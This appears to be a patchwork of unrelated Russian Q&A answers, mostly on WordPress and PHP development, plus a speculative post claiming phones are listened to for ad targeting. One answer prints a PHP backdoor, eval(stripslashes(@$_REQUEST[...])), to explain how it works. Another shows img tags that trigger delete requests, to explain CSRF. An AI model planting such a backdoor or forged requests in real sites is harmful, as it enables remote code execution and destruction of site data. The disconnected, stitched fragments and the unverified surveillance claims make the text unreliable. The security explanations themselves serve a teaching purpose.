Артем Золин

Может сначала прочитаете теорию?
https://developer.mozilla.org/ru/docs/Web/CSS/bottom

Конечно могут, мы живём в цифровом веке. Одни лишь андроид смартфоны имеют такое кол-во возможностей для сбора этих данных.

Я как-то тоже задался этим вопросом, ибо частенько бывали подобные "персонализированные" рекламные интеграции. Конкретно доказать эту теорию самому себе я не смог. То работало, то не работало, то как-то странно это работало, толи мне казалось, что это работает вот прям так просто. Пробовал я простыми вещами, либо разговаривал с людьми на определённые темы, или хотя бы затрагивал их, по телефону, с друзьями по дискорду, телеге, просто когда интернет включён на телефоне, но лежит в кармане. Как и сказал, четкого следа нет)))

Я уверен для себя что это так, что данные собираются, а разговоры прослушиваются, но прослушка не как у фсб, а навело меня на мысль, что скорее всего есть какой-то робот, анализирующий определённые разговоры, выявляет там ключевые фразы, мысли, идеи и т.п., всё, за что можно зацепиться и в своих дата центрах анализируют и подсовывают то, что вы якобы хотите или, возможно, пытаются предсказать, что вам возможно подойдёт. Не всегда это точно получается, но хоть как-то.

Так же, гугл дружит с фейсбуком, который зарабатывает львиную долю бабла с рекламы! Они вроде как обмениваются данными, судя по тому, что я слышал в всяких новостях. Так что, не удивлюсь, если один не может, то другой поможет!

Помните, львиная доля выручки гугла - это реклама! А когда ты главный поисковик мира, более половины мира ходит с телефонами, где твоя OС, а если не твоя, то много где стоит хром, много ума не нужно, что бы начать действовать))) Гугл кстати не просто так платит эплу много миллиардов, что бы быть поисковиком по умолчанию в iOS)))

P.S. Лично мне по большому счёту всё равно. Зла эта штука не делает(пока), жить не мешает(пока), а иногда, действительно может попасться что нибудь интересное. Поживём, увидим)

<div class="slider">
	<div class="box">
	    <?php wp_list_categories('orderby=name');
	    $_cats = get_categories([
			'taxonomy'     => 'category',
			'orderby'      => 'name',
		]);
		if (is_array($_cats) and count($_cats)) {
			$_cats_ul = array_chunk($_cats, 3);
			if (count($_cats_ul)) {
				foreach ($_cats_ul as $_cat_items) {
					echo '<ul>';
					foreach ($_cat_items as $_item) {
						echo "<li>{$_item->name}</li>";
					}
					echo '</ul>';
				}
			}
		}
	    ?>
	</div>
</div>

WP Media Cleaner, там есть функция проверки медиа на существование с последующей зачисткой из WP.

Чёрный ход, он же бэкдор. Если в запросе к сайту будет параметр с указанным именем, то он выполнится как код PHP.

eval(stripslashes(@$_REQUEST["VpnuvWRdhMsvhcWLUsXt"]));

есть два подхода:
1) найти и заюзать готовый плагин - ну типа: https://ru.wordpress.org/plugins/categories-images/ или тут поискать: https://ru.wordpress.org/plugins/tags/category-image/ (методом перебора)
2) или если готовы осилить возможности плагина ACF и немного пописать PHP-кода

Ах да, есть еще один неочевидный вариант - если вам всё равно как загружать изображения - и готовы вставлять их в описание рубрики ( таксономии ) - то можно установить вот этот плагин https://ru.wordpress.org/plugins/visual-term-descr... и тогда в описании рубрики появится классический визуальный редактор контента с кнопкой вставки медиа - что даст возможность вставлять любой контент в том числе сколько угодно изображений

Для начала, для чего существует POST.
Представим, что у вас есть сайт example.com и на нем форма с кнопкой, удаляющаяя статью.
На сервере вы, естественно, проверяете авторизован ли пользователь и есть ли у него права на удаление.

При нажатии на кнопку через post передаются такие параметры
article_id: 123
action: delete

Если на сервере вы будете получать эти данные при помощи $_REQUEST, то возможна ситуация, когда злоумышленник делает так:

<img src="http://example.com?action=delete&article_id=1">
<img src="http://example.com?action=delete&article_id=2">
<img src="http://example.com?action=delete&article_id=3">
<img src="http://example.com?action=delete&article_id=4">

Публикует такие "картинки" вот прямо здесь, в комментариях на тостере.
При этом ваш браузер конечно попытается эти картинки получить, и выполнит эти запросы с ВАШИМИ правами.

В случае, если вы обращаетесь к $_POST - такой фокус не сработает. Кроме того, данные отправленные через POST не попадут в историю браузера и в логи той wi-fi точки или роутера, через которую вы сидите. URL попадет, а POST data - нет. В отличие от GET.

А $_REQUEST существует для удобства. К примеру у вас есть форма поиска, которая может работать и через POST и через GET. Это удобно, когда пользователь может скопировать URL с поисковым запросом.

ну видимо почитать документацию
Параметра 'post-type' в WP нет, есть 'post_type'

Представленный код отображается как нужно. Вам следует поискать противоречия в уже существующих стилях.

RewriteRule ^(.+)\/([0-9]{4})(?:\/|)$ /$1? [L,R=301]

В статье речь идёт о том что ВЫ должны отдавать пользователю стили таким вот костилём.

Далее, важно максимально быстро выдать пользователю первый экран. Все стили, отвечающие за отрисовку первого экрана, минимизированы и вынесены прямо на страницу, в head.

Остальные стили остаются в style.css и подгружаются скриптом. Например, при помощи такой строки в футере:

<script> jQuery("head").append("<link rel="stylesheet" href="<?php echo get_stylesheet_uri(); ?> " type="text/css" media="screen">"); </script>

Для того чтобы пользователи, с отключенным JS, видели корректную страницу, обрамляем стандартный вывод стилей в noscript, PageSpeed не учитывает эту строку:

<noscript><link rel="stylesheet" type="text/css" href="<?php echo get_stylesheet_uri(); ?>" /></noscript>

Перед тем как писать обработчик, надо сначала понять, а зачем он нужен.
Потому что вот эта вот функция - она совершенно бессмысленная.
Вся "обработка", которой она занимается - это добавляет бессмысленные фразы типа "Error_message" к тому что РНР выведет и так.

Обработчик ошибок не должен заниматься удалением файлов. Обработчик вступает в дело, когда ничего исправить уже нельзя, и всё что остаётся - это показать пользователю страницу с извинениями и корректным НТТР кодом. Пример можно взять здесь: https://phpdelusions.net/articles/error_reporting

А вот обрабатывать ошибки надо с помощью оператора try catch
Если надо откатить транзакцию, то всю её целиком надо поместить внутрь try catch, в котором ловить ВСЕ ошибки, то есть \Throwable и после этого скорее всего добавить throw с тем же исключением, поскольку вряд ли при ошибке БД имеет смысл продолжать работу скрипта. Но зависит от обстоятельств.

Если надо удалить файлы, то опять же, заключить в try catch загрузку файлов, то тут просто заключить в try catch, всё почистить и написать какое-нибудь сообщение пользователю.

https://www.php.net/manual/ru/function.json-encode.php

json_encode(mixed $value, JSON_PRETTY_PRINT);

Всё отлично гуглится - смысла это делать за Вас нет никакого.

Единственно - X-XSS protection уже не нужно ибо:

а) устарело и основным современным браузерам ненужно
б) теоретически (крайнемаловероятно в пределах погрешности) может быть вредно пользователям браузера Сафари.

If configuration requests blocking when XSS attacks are detected, which is potentially dangerous as it allows attackers to selectively disable portions of of JavaScript code. The only safe approach is to explicitly disable browser-based XSS protection.
Some browsers ship with so-called XSS Auditors, built-in defenses against XSS. Although these defenses work against simple reflective XSS attacks, they can be abused by skillful attackers to add weaknesses to otherwise secure web sites. These dangers are present in both filtering and blocking modes. At this time, the Safari browser ships with its XSS defenses enabled by default. For this reason, the best approach is to explicitly disable this functionality.

не существуют. у каждого свой стандарт: который соответствует их потребностям.

fetch( url, {
    method: 'POST',
	headers: new Headers({
	'Content-Type': 'application/x-www-form-urlencoded',
	'Cache-Control': 'no-cache'
	}),
	credentials: 'same-origin',
    body: new URLSearchParams({
      action: 'ty_questgo',
    }), 
  }).then(response => response.json())
.then(response => console.log(response))
.catch(err => console.log(err));

function wpp_deactivate_plugin_for_domain() {

		$plugin = '/my-plugin/my-plugin.php';

		if ( 'site.ru' === $_SERVER[ 'HTTP_HOST' ] ) {
			activate_plugins( $plugin );
		} else {
			deactivate_plugins( $plugin );
		}
	}

	add_action( 'admin_init', 'wpp_deactivate_plugin_for_domain' );

UPDATE 2020:

Для будущих поколений: начиная с версии WordPress 5.5.0 функция get_template_part() поддерживает третий параметр array $args. Подробнее в официальном посте.

Оригинальный ответ:

+1 к ответу, Капитан Какао. Впрочем, я использую все-таки стандартный get_template_part() для удобства, а переменные передаю через другое API - query_vars:

// В файле из которого вызываем
set_query_var( 'my_var', $my_var );
get_template_part( 'content', 'part' );

// В вызванном файле
echo $my_var;

Почему так? Для очевидности, в этом случае ты наглядно понимаешь что передаешь в темплейт.